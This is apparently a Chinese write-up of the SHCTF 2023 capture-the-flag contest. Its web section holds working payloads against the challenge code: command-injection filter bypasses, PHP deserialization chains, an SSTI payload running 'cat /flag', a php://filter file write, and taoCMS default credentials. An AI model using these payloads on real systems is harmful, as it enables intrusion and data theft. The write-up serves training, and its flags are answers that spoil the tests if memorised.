山河ctf

WEB

[week1]飞机大战

控制台执行won()可得flag

###[week1]babyrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}


发现好玩的

uniq11${IFS}/fla?

1
2
/bin/?at${IFS}f???????
/bin/??t$IFS????????可以看flag.sh,奈何环境变量给删了

[week1]1zzphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}

第一数组绕过num即可,后面正则匹配code,即要变量code里有2023SHCTF,又正则匹配不能有SHCTF,回溯绕过限制就好

1
2
3
4
5
6
7
import requests

datas = {
"c_ode":"-"*1000000+"2023SHCTF"
}
res = requests.post(r'http://112.6.51.212:32794/?num[]=1', data=datas)
print(res.text)

[week1]生成你的邀请函吧~

image-20231002150250754

[week1]ezphp

考preg_replace/e模式代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
it is begin

借鉴文章http://xz.aliyun.com/t/2557

1
2
3
get:?code=${phpinfo()}

post: pattern=\S*

[WEEK1]登录就给flag

用户名为admin

爆破密码

[week1]ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file(__FILE__);
class A{
public $var_1 = 'php://filter/convert.base64-encode/resource=flag.php';

public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|http|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new B();
$a->q=new C();
$a->q->z=new D();
$a->q->z->p=new A();
echo serialize($a);

[WEEK2]MD5的事就拜托了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}

第一个点

1
extract(parse_url($_POST['SHCTF']));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果:
Array
(
[scheme] => http
[host] => host
[user] => user
[pass] => pass
[path] => /path
[query] => args=value
[fragment] => anch
)
简单的对应关系加上变量覆盖罢了

host://SHCTF:pass@user/path

a857b5279d3c139e8ea99d5f985436ca

[WEEK2]ez_ssti

简单的模板注入

1
?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}

[WEEK2]serialize

这个题目有些个变态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

正则可以用数组绕过

一个新奇的思路,学到了学到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class musca{
public $ding;
public $dong;
public function __construct(){
$this->ding=new misca;
}
}
class misca{
public $gao;
public $fei;
public $a;
public function __construct(){
$this->fei=new milaoshu;
$this->gao=&$this->a;
}
}
class milaoshu{
public $v='php://filter/convert.base64-encode/resource=flag.php';
}
$a=new musca;
echo serialize(array($a));
?>

[WEEK2]no_wake_up

简单的__wakeup魔术方法绕过_

?try=O:4:”flag”:3:{s:8:”username”;N;s:4:”code”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}

[WEEK2]EasyCMS

tao模板漏洞

打开页面,页面显示taoCMS演示系统,想着应该有漏洞,上网搜taocms漏洞

看到文章http://blog.csdn.net/m0_46684679/article/details/129214411

访问url/admin/admin.php

弹出一个登录界面,

账户admin

密码tao

登录成功,跳转到这个界面

点击文件管理,进入../../../看到flag,点开看到flag

[WEEK3]快问快答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import re
import time

session = requests.session()
result = 1
while True:
burp0_url = ""
burp0_cookies = {"session": "eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NjY1NjY0OS43ODcwNTZ9.ZSDtCQ.0RE2Dez4_dd5v-o6Hk_rVi_UnpE"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55",
"Origin": "url",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "url, "Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}
burp0_data = {"answer": result}
res_2 = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

timu_2 = re.search(r'<h3>(.*?)</h3>', res_2.text)
if '异或' in timu_2.group(1):
pattern = r'题目:(\d+) 异或 (\d+) = ? '
match = re.search(pattern, res_2.text)
result = int(match.group(1)) ^ int(match.group(2))
elif '与' in timu_2.group(1):
pattern = r'题目:(\d+) 与 (\d+) = ? '
match = re.search(pattern, res_2.text)
result = int(match.group(1)) & int(match.group(2))
else:
pattern = r'题目:(\d+) (.) (\d+) = ? '
match = re.search(pattern, res_2.text)
group_1 = int(match.group(1))
group_3 = int(match.group(3))
if match.group(2) == '+':
result = group_1 + group_3
elif match.group(2) == '-':
result = group_1 - group_3
elif match.group(2) == 'x':
result = group_1 * group_3
elif match.group(2) == '÷':
result = group_1 // group_3
if "flag" in res_2.text:
print(res_2.text)
time.sleep(1)

[WEEK3]gogogo

下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。

查看源码,发现主要部分在route.go部分,需要admin才有权限查看文件得到flag

总共有两个路由,一个“/“路由,一个”/readflag”路由

根路由 /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"main/route"

"github.com/gin-gonic/gin"

)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/readflag", route.Readflag)
r.Run("0.0.0.0:8000")
}

最主要的一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "User"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, User. How to become admin?")

}

可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回Hello, User. How to become admin?

想到需要伪造session

上面通过获取环境变量中的SESSION_KEY来获取生成securecookie。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。

这里将route.go修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == "" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, User. How to become admin?")

}

之后在附件目录

命令行go run main.go

之后访问127.0.0.1:8000获取session

得到session

MTY5NjY1NDM2M3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXx83HZpaT0T7b2lYtEd0cAmvQ_sS926v-ycwnspOHOOGw==

image-20231020193359396

这里呼应前面修改之后他不跳转,一直显示Hello, User. How to become admin?,修改之后需要访问url/readflag才能看到回显

访问url/readflag可以看到出现了你已经是admin,怎么获得flag

1
2
3
4
5
6
7
8
9
10
11
if session.Values["name"] == "admin" {
c.String(200, "Congratulation! You are admin,But how to get flag?\n")

path := c.Query("filename")

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

if reg.MatchString(path) {
http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}

读源码看到需要filename读文件,过滤了好多字符,没过滤?通配符读flag就好

###[WEEK3]sseerriiaalliizzee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){

return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='php://filter/write=string.strip_tags|convert.base64-decode/resource=flag.php',$part2='PD9waHAgJGZpbGVDb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJy9mbGFnJyk7ZWNobyAkZmlsZUNvbnRlbnQ7ID8+Cg==') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}



class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";

}
}
//$a=new Start();
//$a->barking=new CTF();
//$a->barking->dosomething();
//$a->barking=new CTF();
//echo serialize($a);
$a=new Start();
echo serialize($a);
//$re=new ReflectionClass('Start');
//$a=$re->newInstanceWithoutConstructor();
//$b=new CTF("php://filter/write=string.strip_tags|convert.base64-decode/resource=flag,php","PD9waHAgJGZpbGVDb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJy9mbGFnJyk7ZWNobyAkZmlsZUNvbnRlbnQ7ID8+Cg==");
//$a->barking=$b;
//echo serialize($a);

先利用CTF类向flag.php文件里写马,读到/flag内的flag放到flag.php,之后利用start类访问flag.php

ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp

def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)

def cmd(arg):
subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

比赛的时候这个题没做出来,现在来复现一下

Subprocess.call函数有一个参数shell,当shell为True是,执行命令时是/bin/sh/ -c “$cmd”这样的,可以进行命令注入。而当shell为false时,执行命令时是/bin/cmd arg这种。而这个方法的shell、参数默认为false。

进如subprocess函数查看函数call

image-20231106085611662

看到这里利用到了popen类

image-20231106085712533

可以看到构造的参数中的shell默认为false

函数的默认参数保存在defaults属性中

image-20231106090515623

通常查看的zhishell参数的值在第7个,所以只需要修改7下标为true就可以执行任意命令了

那该怎么修改了,通过阅读代码,可知gett函数是通过遍历json格式获取subprocess的属性

1
2
3
4
5
6
7
8
def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp


exp = list(request.get_json()['exp']) ## json格式获取subprocess属性

我们再看sett函数

1
2
3
4
5
def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)

他会对getatt获取到的tmp的属性值,并将其更新为tmp,循环结束后,setattr函数将num设置为tmp对象的最后一个值

image-20231106091832834

修改成功,进行命令执行

image-20231106093319892

MISC

[week1]签到

[week1]真的签到

扫二维码关注回复

image-20231002165103698

[week1]请对我使用社工

出题人真会玩,对着全国万达广场挨个找的,2天
(微笑)

山东省东营市东营区中国石油大学

[week1]message

[week1]派蒙

binwalk分离出来两个txt文件,010对比不同,吧不同的抄下来

flag{4ebf327905288fca947a}

[week1]ez-misc

打开压缩包,文本文件里有一大串10101之类的,利用工具将其转换为二维码image-20231003180144248

扫描二维码的得到密码hit_k1sme4_4_fun

image-20231003180252810

之后,010发现flag文件是压缩包,后缀改为压缩包文件

下面有一串二进制

01110010011011110110001101101011011110010110111101110101

转换为字符为rockyou,以为是密码,发现不对,好像是提示,需要利用kali自带的字典rockyou.txt+ARCHPR爆破即可得到密码

palomino

打开flag.txt

一串乱码

词频分析得出flag

image-20231003180851461

flag{SHyk1sme4}

[WEEK1]Steganography

careful图片看到

拿去base64解密

解完为12ercs…..909jk

在careful1的详细信息里看到

image-20231011163534408

xqwed对应上面的点

拼在一起12ercsxqwed909jk为压缩包密码

[WEEK1]也许需要一些py

THIS1SY0UKEY

this1sy0ukey

两个对应两个文件密码,第一个flag改文件头,发现一个md5

63e62fbce22f2757f99eb7da179551d2

flag.txt文本里一个假flag

变换一下大小写

flag{Png_AnD_md5_so_GReAt}

[week2]表里的码

先转换为execl文档

发现有空格,将所有空格转换为1,发现有点像二维码

发现1还有加粗之分,粗体的在四周,更像二维码了

之后替换,将粗体换为黑色,常规字体换为白色

[WEEK2]图片里的秘密

binwalk分解一下

之后fft水印解密

[WEEK2]可爱的洛琪希

下载附件,打开一串乱码

base64转图片

得到image-20231009173046398

根据题目面描述,查看图片属性,再详细信息里看到一段数字

736c6e6f7b52626b795f71696966686b76217d

解密

image-20231009173142859

010打开图片得到一个key

image-20231009173203779

之后维吉尼亚解密

flag{Roxy_daisuki!}

[WEEK2]奇怪的screenshot

image-20231009210909419

image-20231009210844417

magnet:?xt=urn:btih:flagCVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure

[week2]远在天边尽在眼前

抓包复制flag,忘记存flag了。。。。

[WEEK3]ez_usb

利用脚本

1
python3 knm.py pca -i ez_usb.pcapng -o 2.txt(过滤2.8.1)

转换为rar压缩包

密码

1
python3 knm.py pca -i ez_usb.pcapng -o 3.txt(过滤2.10.1)

adabb04a5e9a6c33

python3 knm.py keyboard -i 2.txt

1
<ALT>526172211a0700<CAP>c<CAP>f907300000d000000000000002f507424943500200000002<CAP>0000000<CAP>02a3021b4d577f06551d33080020080000666c61672e<CAP><CAP>747874<CAP>7cc<CAP>34ada98d<CAP>a<CAP>7d<CAP>020<CAP>0f035680325f6866372<CAP>47<CAP>92af0b91c<CAP>e8<CAP>6c1b46ed4b180d5a<CAP>8a7<CAP>c626ad<CAP>b5ceb2f<CAP>f8cf1<DEL>2<CAP><CAP><CAP>4<CAP><CAP>a<DEL><CAP><CAP>8<DEL><CAP><CAP><CAP><CAP><CAP><DEL>4<CAP>104c43d7b0040070<CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP><CAP>0a<DEL>

打开压缩包得到flag

flag{c6bd1c7bcfef89ffbf59d86ccaf97d3c}

[WEEK3]尓纬玛

打开一张二维码,直接扫发现扫描失败,借鉴2022菜狗杯迅即响应,考察了二维码的纠错码

用QRazyBox的Extract QR Information功能

http://merri.cx/qrazybox/

可以得到:

1
Final Decoded string : Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRcOde_has_many_kindS_of_secre7s

只有一半,

这是纠错码纠错后的内容

把左侧纠错码区域涂白

image-20231028135001019

1
Do you want flag? You don't,I want.So I just can give you a half of flag.    Y0ur flag is flag{QRcOde_has_many_kindS_of_secre7s_NOw_y0u_Know_1_57b8Go}

flag{QRcOde_has_many_kindS_of_secre7s_NOw_y0u_Know_1_57b8Go}

[final]问卷

image-20231028213506912

CRYPTO

[week1]凯撒大帝

flag{chutihaonan}

[week1]进制

两次16进制解密

image-20231002165447047

flag{ahfkjlhkah}

[week1]迷雾

摩斯解密

flag{morse_is_very_fun}

[week1]really_ez_rsa

flag{Y0ung_meiyou_xiaojj}

[week1]what is m

flag{7h3RE_4rE_SeV3r4L_4lTernAtive5_tO_7H3_L0NG_to_bYTes_fUnCTioN_4Eede4IzECT7}

[week1]小兔子可爱呢

image-20231002165739073

flag{i_love_technology}

[week1]Crypto_checkin

flag{Th1s_1s_B4s3_3nc0d3}

[week1]难言的遗憾

image-20231002182010116

flag{一天不学高数我就魂身难受}

[week1]熊斐特

flag{123456789}

[week1]缺失的MD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
src1="KCLWG"
src2="K8M9O3"
src3="DE"
src4="84S9"
dic = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in range(26):
for j in range(26):
for k in range(26):
src=src1+dic[i]+src2+dic[j]+src3+dic[k]+src4
print (src)
m2 = hashlib.md5()
m2.update(src.encode())
print (m2.hexdigest())

[week1]黑暗之歌

先盲文解密

image-20231002183011727

之后base64

image-20231002183058177

解出音符后,音符解密

flag{b2cc-9091-8a29}

[week1]佛说:只能4天

image-20231002194601896

和谐公正和谐公正和谐法治和谐公正和谐法治和谐公正和谐平等和谐公正和谐公正和谐法治和谐公正和谐公正和谐公正和谐民主自由平等和谐敬业和谐和谐自由敬业自由敬业和谐和谐自由敬业和谐富强和谐敬业和谐爱国和谐公正和谐公正和谐公正和谐法治和谐公正和谐公正和谐公正和谐公正和谐公正和谐公正和谐法治和谐法治自由公正和谐法治自由法治和谐和谐和谐敬业自由爱国和谐民主和谐和谐自由法治自由公正和谐和谐自由法治

image-20231002194616902

66767656676661E93II3I098666766666677F7G39H13GF3G

栅栏4烂

凯撒3flag{mission_accomplish}

[week1]立正

字符串逆序,之后解码

image-20231020194820168

得到

EmxhE8tERKAfYAZ6S636dIWuEK46ZK4yRBdNdK4uRKd4

之后脚本解

原理是,对照flag{的base64,大写字母偏移21位,小写字母不偏移,数字加5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def shift_string(string):
shifted = ""
for char in string:
if char.isupper():
shifted += chr((ord(char) - ord('A') + 21) % 26 + ord('A'))
elif char.isdigit():
shifted += str((int(char) + 5) % 10)
else:
shifted += char
return shifted

# Example usage:
input_string = "EmxhE8tERKAfYAZ6S636dIWuEK46ZK4yRBdNdK4uRKd4"
shifted_string = shift_string(input_string)
print(shifted_string)

[week2]哈希猫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import itertools
import string
import tqdm
hashs =['题目的hash值']

# if hash
def hashDigest(hash_algo, string):
hash_func = hash_map.get(hash_algo)
if hash_func:
return hash_func(string.encode()).hexdigest()
else:
raise ValueError('Invalid hash algorithm')
hash_map = {
'md5': hashlib.md5,
'sha1': hashlib.sha1,
'sha224': hashlib.sha224,
'sha256': hashlib.sha256,
'sha384': hashlib.sha384,
'sha512': hashlib.sha512,
}
flag = ""

for hash in tqdm.tqdm(hashs):
solved = 0
for x in itertools.product(string.ascii_letters+string.digits+"_'", repeat=2):
for type in list(hash_map.keys()):
if hashDigest(type, "".join(x)) == hash:
# print()
flag+= "".join(x)
solved = 1
break
if solved == 1:
break
if solved == 1:
continue
for x in itertools.product(string.ascii_letters+string.digits+"_'", repeat=3):
for type in list(hash_map.keys()):
if hashDigest(type, "".join(x)) == hash:
# print()
flag+= "".join(x)
solved = 1
break
if solved == 1:
break
if solved == 1:
continue
for x in itertools.product(string.ascii_letters+string.digits+"_'", repeat=1):
for type in list(hash_map.keys()):
if hashDigest(type, "".join(x)) == hash:
# print()
flag+= "".join(x)
solved = 1
break
if solved == 1:
break

print(flag)

[week2]e?

###[week2]factorizing_n

分解n太痛苦了,删了好几遍yafu,最后还好分完了,可是忘了存截图,思路就是先分解n,其中有一个分解出来还需要再分解一次,之后就是正常的rsa了

[week2]ez_rsa

re

[week1]ez_asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag = bytearray("nhuo[M`7mc7uhc$7midgbTf`7`$7%#ubf7 ci5Y", "utf-8")  # 将字符串转换为字节数组

for i in range(39):
byte = flag[i] # 从flag中取出一个字节

byte ^= 0x1E # 异或操作
flag[i] = byte # 将结果存回flag中

byte -= 0x0A # 减去0x0A
flag[i] = byte # 将结果存回flag中

flag = flag.decode() # 将字节数组转换为字符串

print(flag) # 打印flag
flag{It_is_als0_impor@nt_t0_13arn_4sm!}

[week1]eazy_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from sympy import symbols, Eq, solve

def solve_equations():
l = symbols('l0:6') # 创建6个符号变量

# 创建方程
equations = [
Eq(593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5], 0x5b8e0aef71d34ff43),
Eq(605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5], 0x551a262360964ef7f),
Eq(373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5], 0x49d158a5657d6931c),
Eq(560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5], 0x625568d5abbabf4f3),
Eq(717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5], 0x50ee0c025e70e3c23),
Eq(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5], 0x40e735f8aa2815f65)
]

# 解方程组
solutions = solve(equations, l)

return solutions

# 使用函数
solutions = solve_equations()
if solutions:
l_values = [solutions[l_i] for l_i in sorted(solutions, key=lambda x: int(x.name[1:]))]
flag = ''
for l_value in l_values:
hex_value = hex(int(l_value))[2:]
flag += bytearray.fromhex(hex_value).decode('utf-8')

print("Flag:", flag)
else:
print("No solution found.")

[week1]signin

image-20231012171319275

ida打开就有flag

[week1]easy_re

进入main函数,看到des,点进去

image-20231013114833610

image-20231013114843979

flag{Try_t0_sl0v3_the_binary_pr0bl3m}

[week3]java是最棒的语言吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import java.nio.charset.StandardCharsets;
import java.util.Arrays;

public class ChaCha20Decrypt {
public static void main(String[] args) {
String encryptedFlag = "ce43283af73d106815fe5293b474f5309d44063c7fde19533300c60603dfe528d19aee2f6db615191e45";
byte[] encryptedBytes = hexStringToBytes(encryptedFlag);

byte[] key = "Shctf_Welcomes_Have_4_good_t1me_".getBytes();
byte[] nonce = "HsehrcOedfgs".getBytes();

byte[] decryptedBytes = decrypt(encryptedBytes, key, nonce);
String decryptedFlag = new String(decryptedBytes, StandardCharsets.UTF_8);

System.out.println("Decrypted flag: " + decryptedFlag);
}

private static byte[] decrypt(byte[] encrypted, byte[] key, byte[] nonce) {
int[] state = chachaInit(key, nonce);
byte[] decrypted = new byte[encrypted.length];
byte[] block = new byte[64];

for (int i = 0; i < encrypted.length; i += 64) {
chachaBlock(state, block);

for (int j = 0; j < 64 && i + j < encrypted.length; j++) {
decrypted[i + j] = (byte) (encrypted[i + j] ^ block[j]);
}

state[12]++;
}

return decrypted;
}

private static int[] chachaInit(byte[] key, byte[] nonce) {
int[] state = new int[16];
state[0] = 1634760805;
state[1] = 857760878;
state[2] = 2036477234;
state[3] = 1797285236;

for (int i = 0; i < 8; i++) {
state[4 + i] = bytesToIntLittleEndian(key, i * 4);
}

state[12] = 0;
state[13] = 0;
state[14] = bytesToIntLittleEndian(nonce, 0);
state[15] = bytesToIntLittleEndian(nonce, 4);

return state;
}

private static void chachaBlock(int[] state, byte[] block) {
int[] temp = Arrays.copyOf(state, 16);

for (int i = 0; i < 10; i++) {
chachaDoubleRound(temp);
}

for (int i = 0; i < 16; i++) {
intToBytesLittleEndian(state[i] + temp[i], block, i * 4);
}
}

private static void chachaDoubleRound(int[] state) {
quarterRound(state, 0, 4, 8, 12);
quarterRound(state, 1, 5, 9, 13);
quarterRound(state, 2, 6, 10, 14);
quarterRound(state, 3, 7, 11, 15);
quarterRound(state, 0, 5, 10, 15);
quarterRound(state, 1, 6, 11, 12);
quarterRound(state, 2, 7, 8, 13);
quarterRound(state, 3, 4, 9, 14);
}

private static void quarterRound(int[] state, int a, int b, int c, int d) {
state[a] += state[b];
state[d] = rotateLeft(state[d] ^ state[a], 16);
state[c] += state[d];
state[b] = rotateLeft(state[b] ^ state[c], 12);
state[a] += state[b];
state[d] = rotateLeft(state[d] ^ state[a], 8);
state[c] += state[d];
state[b] = rotateLeft(state[b] ^ state[c], 7);
}

private static int rotateLeft(int value, int count) {
return (value << count) | (value >>> (32 - count));
}

private static int bytesToIntLittleEndian(byte[] bytes, int offset) {
return (bytes[offset + 3] & 0xFF) << 24 |
(bytes[offset + 2] & 0xFF) << 16 |
(bytes[offset + 1] & 0xFF) << 8 |
(bytes[offset] & 0xFF);
}

private static void intToBytesLittleEndian(int value, byte[] bytes, int offset) {
bytes[offset] = (byte) (value & 0xFF);
bytes[offset + 1] = (byte) ((value >>> 8) & 0xFF);
bytes[offset + 2] = (byte) ((value >>> 16) & 0xFF);
bytes[offset + 3] = (byte) ((value >>> 24) & 0xFF);
}

private static byte[] hexStringToBytes(String hex) {
int length = hex.length();
byte[] bytes = new byte[length / 2];

for (int i = 0; i < length; i += 2) {
bytes[i / 2] = (byte) ((Character.digit(hex.charAt(i), 16) << 4)
+ Character.digit(hex.charAt(i + 1), 16));
}

return bytes;
}
}

###[week3]crackme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import string

# 定义一个字符串code_,用于存储输入的字符
code_ = [
54,
57,
566,
532,
1014,
1,
7,
508,
10,
12,
498,
494,
6,
24,
14,
20,
489,
492,
0,
10,
490,
498,
517,
539,
21,
528,
517,
530,
543,
9,
13,
0,
4,
51,
562,
518,
526,
8,
8,
516,
0,
518,
7,
573,
2,
513,
3,
5,
41,
31,
1,
594,
117,
15
]
# 定义一个字符串flag_,用于存储输出的字符
flag_ = 'flag{'
print(len(code_))
# 定义一个变量x,用于记录当前循环的位置
x = 3
